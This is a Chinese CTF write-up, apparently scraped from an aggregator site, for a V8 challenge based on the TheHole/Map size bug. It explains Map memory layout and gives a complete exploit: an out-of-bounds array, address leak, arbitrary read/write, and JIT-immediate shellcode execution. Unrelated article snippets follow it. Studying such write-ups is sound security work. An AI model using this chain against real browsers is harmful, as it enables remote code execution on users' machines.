2022xctf-final hole

这个题是做到的第一个利用hole和map来制造oob的题目,挺有意思的记录一下

首先根据题目给出的信息可知涉及到此漏洞
https://crbug.com/1263462

poc如下:

let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
// %DebugPrint(m);
print(m.size);

这里的%TheHole只有开启了–allow-natives-syntax才可以使用,如果不能开的话还需要另一个漏洞来获取一个hole对象。

这里主要想记录如何利用hole和map来制造oob以及记录一下用立即数执行shellcode,所以就直接用那个函数来获取hole了。

首先需要了解map对象的结构,执行一下测试代码:

m = new Map();
m.set(1, 0x1234);
m.set(2, 2);
m.set(3, 3);
m.set("aaaa","bbbb");
%DebugPrint(m);
%SystemBreak();

内存中长这样
在这里插入图片描述

map中的每个key-value的存储单元是entry,实现如下

interface Entry {key: any;value: any;chain: number;
}

每个buckets相当于一个哈希桶,如果map里只有四个entry,则哈希桶的数量是2,然后entry中的chain相当于当发生哈希冲突的时候存储在同一个buckets里的下一个entry的index。elements里则是存储了每个具体的entry。

有关map的具体内存使用方式可以看这个,讲的很详细
https://itnext.io/v8-deep-dives-understanding-map-internals-45eb94a183df

现在手里有一个size为-1的map,则下一次进行set的时的entry会向上写,buckets和entry的机构可以参考这个图
在这里插入图片描述

这个图和上面的gdb内存图对应起来可以解释为

entry count就是job命令打印出来的elements:4,deleted count为deleted:0,bucket count对应为buckets:2,capacity是一个计算出的值,不会再内存中有具体存储,这三个值对应着一个map对象的header,接下来的hashtable对应着的是buckets字典。后面的elements字典对应的是datatable,结构单元是一个一个的entry。

所以当我们能够在-1的位置写一个entry,并且bucket的数量为2的时候,意味着我们可以把这个entry的key写到bucket count字段上去,修改了bucket count就意味着这个map对象的entry偏移变了,原本存储entry的地址被认为成了是bucket,所以再次进行set的时候会把entry放到更远的位置,造成越界写,如果越界写恰好改变了某个array的length,则造成了大范围的自由OOB,后续的思路就比较常规了。所以这个题主要难点在于能否找到并理解那个poc以及对map的内存结构是否熟知。

let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
var oobarray=new Array(1.1,2.2);
m.set(0x10,1);
m.set(0x1001,0x4000);
%DebugPrint(oobarray);
%DebugPrint(m);
%SystemBreak();

通过修改bucket的数量为0x10,恰好可以使entry的value字段覆盖到array的length字段,但是这里写的时候要注意key是有限制的,必须在map自己的哈希过后对应的hashtable里值为-1

在这里插入图片描述

经过修改以后的map只有0和1的位置是-1,其他都是undefined,所以用的key需要爆破一下。

哈希代码的具体实现是

uint32_t ComputeUnseededHash(uint32_t key) {uint32_t hash = key;hash = ~hash + (hash << 15);hash = hash ^ (hash >> 12);hash = hash + (hash << 2);hash = hash ^ (hash >> 4);hash = hash * 2057;hash = hash ^ (hash >> 16);return hash & 0x3fffffff;
}

在这里插入图片描述

于是采用0x40a作为key,制造一个oobarray

pwndbg> job 0x14200042401
0x14200042401: [JSArray]- map: 0x014200203b01 <Map[16](PACKED_DOUBLE_ELEMENTS)> [FastProperties]- prototype: 0x0142001cb07d <JSArray[0]>- elements: 1034 [PACKED_DOUBLE_ELEMENTS]- length: 16384- properties: 0x014200002251 <FixedArray[0]>- All own properties (excluding elements): {0x14200006325: [String] in ReadOnlySpace: #length: 0x014200144255 <AccessorInfo name= 0x014200006325 <String[6]: #length>, data= 0x0142000023d9 <undefined>> (const accessor descriptor), location: descriptor}- elements: 1034 {}

可以看到array的长度已经被改大了,并且程序没有出现任何崩溃。

但是此时发现elements的地址被改成了一个不正常的数,最后set的key是直接使用的oobarray,才算真正解决了这个问题

后面就没什么需要解释的地方了。

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);
var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
function f2i(f)
{float64[0] = f;return bigUint64[0];
}
// 
function i2f(i)
{bigUint64[0] = i;return float64[0];
}
function p64(val) {dv.setUint32(0,val & 0xFFFFFFFF,true);dv.setUint32(0x4,val >> 32,true);var float_val = dv.getFloat64(0,true);return float_val;}function p64(low4,high4) {dv.setUint32(0,low4,true);dv.setUint32(0x4,high4,true);var float_val = dv.getFloat64(0,true);return float_val;}function u64(val){dv.setFloat64(0,val,true);return dv.getBigInt64(0,true)}function u64_l(val) {dv.setFloat64(0,val,true);return dv.getUint32(0,true);}function u64_h(val) {dv.setFloat64(0,val,true);return dv.getUint32(0x4,true);}
function hex(i)
{return i.toString(16).padStart(16, "0");
}
function gc() {for (let i = 0; i < 100; i++) {new ArrayBuffer(0x100000);}
}
function shellcode() {return [1.930800574428816e-246,1.9710610293119303e-246,1.9580046981136086e-246,1.9533830734556562e-246,1.961642575273437e-246,1.9399842868403466e-246,1.9627709291878714e-246,1.9711826272864685e-246,1.9954775598492772e-246,2.000505685241573e-246,1.9535148279508375e-246,1.9895153917617124e-246,1.9539853963090317e-246,1.9479373016495106e-246,1.97118242283721e-246,1.95323825426926e-246,1.99113905582155e-246,1.9940808572858186e-246,1.9537941682504095e-246,1.930800151635891e-246,1.932214185322047e-246];
}for (let i = 0; i < 0x40000; i++) {shellcode();
}
let theHole = %TheHole();
m = new Map();
m.set(1, 1);
m.set(theHole, 1);
m.delete(theHole);
m.delete(theHole);
m.delete(1); // -1
var oobarray=new Array(1.1,2.2);
m.set(0x10,1);
m.set(oobarray,0x4000);
var obj={'target':0x5678>>1};
var array_buf=[1.1,2.2];
var obj_idx=0;
for(let i=0;i<0x100;i++)
{let t=f2i(oobarray[i])>>32n;if(t==0x5678n){obj_idx=i;break;}
}
console.log("[*] obj_idx is 0x"+hex(obj_idx));
function addressof(object)
{obj.target=object;return f2i(oobarray[obj_idx])>>32n;
}
var ele_idx=obj_idx+8;
var tmp=f2i(oobarray[ele_idx])%0x100000000n;
var shell_addr=addressof(shellcode)-1n;
console.log("[*] shell_addr is 0x"+hex(shell_addr));
function weak_read(address)
{oobarray[ele_idx]=p64(Number(tmp),Number(address-0x8n+1n));return f2i(array_buf[0]);
}
function weak_write(address,value)
{oobarray[ele_idx]=p64(Number(tmp),Number(address-0x8n+1n));array_buf[0]=i2f(value);
}
var code_addr=weak_read(shell_addr+0x18n);
var code_entry_point=weak_read(code_addr-1n+0x10n);
weak_write(code_addr+0x10n-1n,code_entry_point+103n);
//%DebugPrint(oobarray);
console.log("[*] code_addr is 0x"+hex(code_addr));
console.log("[*] code_entry_point is 0x"+hex(code_entry_point));
%DebugPrint(obj);
//%DebugPrint(array_buf);
%DebugPrint(shellcode);
%SystemBreak();
shellcode();

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/293037.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

linux 串口测试指令和测试程序

一、串口设备查看 查看串口 (/dev) ls /dev/tty*查看串口&#xff08;或串口终端&#xff09;属性 ( /proc) cat /proc/tty/driver/serial 或 cat /proc/tt…

虾皮跨境电商物流:打造高效便捷的全球供应链解决方案

随着全球化的推进和电子商务的蓬勃发展&#xff0c;跨境电商物流成为了越来越多商家和消费者关注的焦点。虾皮&#xff08;Shopee&#xff09;作为一家领先的电商平台&#xff0c;不仅提供了丰富多样的商品选择&#xff0c;还致力于为卖家和消费者提供高效便捷的跨境电商物流服…

【C语言】指针详解(二)

目录 1.指针变量类型的意义 1.1指针的解引用 1.2指针 - 整数 1.3void*指针 2.const修饰指针 2.1const修饰变量 2.2const修饰指针变量 1.指针变量类型的意义 1.1指针的解引用 指针变量的大小和类型无关&#xff0c;只要是指针变量&#xff0c;在同一个平台下&#xff0…

每日一题——LeetCode844

方法一 暴力法&#xff1a; 对两个字符串分别从头到尾遍历一遍&#xff0c;遇到#就删除#和它之前的那个字符&#xff0c;如果遇到#在字符串的第一位则只用删除#&#xff0c;最后将删除后的不含#的两个字符串进行比较是否一样 var backspaceCompare function(s, t) {for(var …

《Python Advanced Programming + Design Patterns + Clean Code》

清洁代码 — 学习如何编写可读、可理解且可维护的代码 高级Python编程知识 Python之常用设计模式 Advanced Programming装饰器 decorators生成器 & 迭代器with 上下文管理器面向对象Mixin 模式反射机制并发编程 Design Patterns设计模式分类简单工厂模式工厂模式 √抽象工厂…

用C#也能做机器学习?

前言✨ 说到机器学习&#xff0c;大家可能都不陌生&#xff0c;但是用C#来做机器学习&#xff0c;可能很多人还第一次听说。其实在C#中基于ML.NET也是可以做机器学习的&#xff0c;这种方式比较适合.NET程序员在项目中集成机器学习模型&#xff0c;不太适合专门学习机器学习&a…

GNSS技术在城市规划中的革新:精准定位引领智慧城市发展

随着城市化的快速推进&#xff0c;城市规划愈发关键&#xff0c;而全球导航卫星系统&#xff08;GNSS&#xff09;技术的广泛应用正为城市规划带来一场前所未有的变革。本文将深入探讨GNSS模块在城市规划中的多重应用&#xff0c;以及如何通过精准定位推动智慧城市的发展。 城市…

【Python小知识 - 6】:QLabel设置图片

文章目录 QLabel设置图片 QLabel设置图片 from PyQt5.QtWidgets import * from PyQt5.QtGui import * import sysapp QApplication(sys.argv)window QWidget()hbox QHBoxLayout(window)# 设置标签图片 lable QLabel() lable.setPixmap(QPixmap(./img/window.png).scaled(1…

【ARM Cortex-M 系列 5 -- RT-Thread renesas/ra4m2-eco 移植编译篇】

文章目录 RT-Thread 移植编译篇编译os.environ 使用示例os.putenv使用示例python from 后指定路径 编译问题_POSIX_C_SOURCE 介绍编译结果 RT-Thread 移植编译篇 本文以瑞萨的ra4m2-eco 为例介绍如何下载rt-thread 及编译的设置。 RT-Thread 代码下载&#xff1a; git clone …

听GPT 讲Rust源代码--src/tools(22)

File: rust/src/tools/tidy/src/lib.rs rust/src/tools/tidy/src/lib.rs是Rust编译器源代码中tidy工具的实现文件之一。tidy工具是Rust项目中的一项静态检查工具&#xff0c;用于确保代码质量和一致性。 tidy工具主要有以下几个作用&#xff1a; 格式化代码&#xff1a;tidy工具…

12.21_黑马数据结构与算法笔记Java

//最近在复习&#xff0c;&#xff0c;java的进度会比较慢一些 目录 219 排序算法 基数排序2 220 排序算法 java排序 221 排序 e01 根据另一个数组次序排序 222 排序 e02 根据出现频率排序 thinking&#xff1a;关于比较器 223 排序 e03 最大间距 解法1&#xff08;超出内…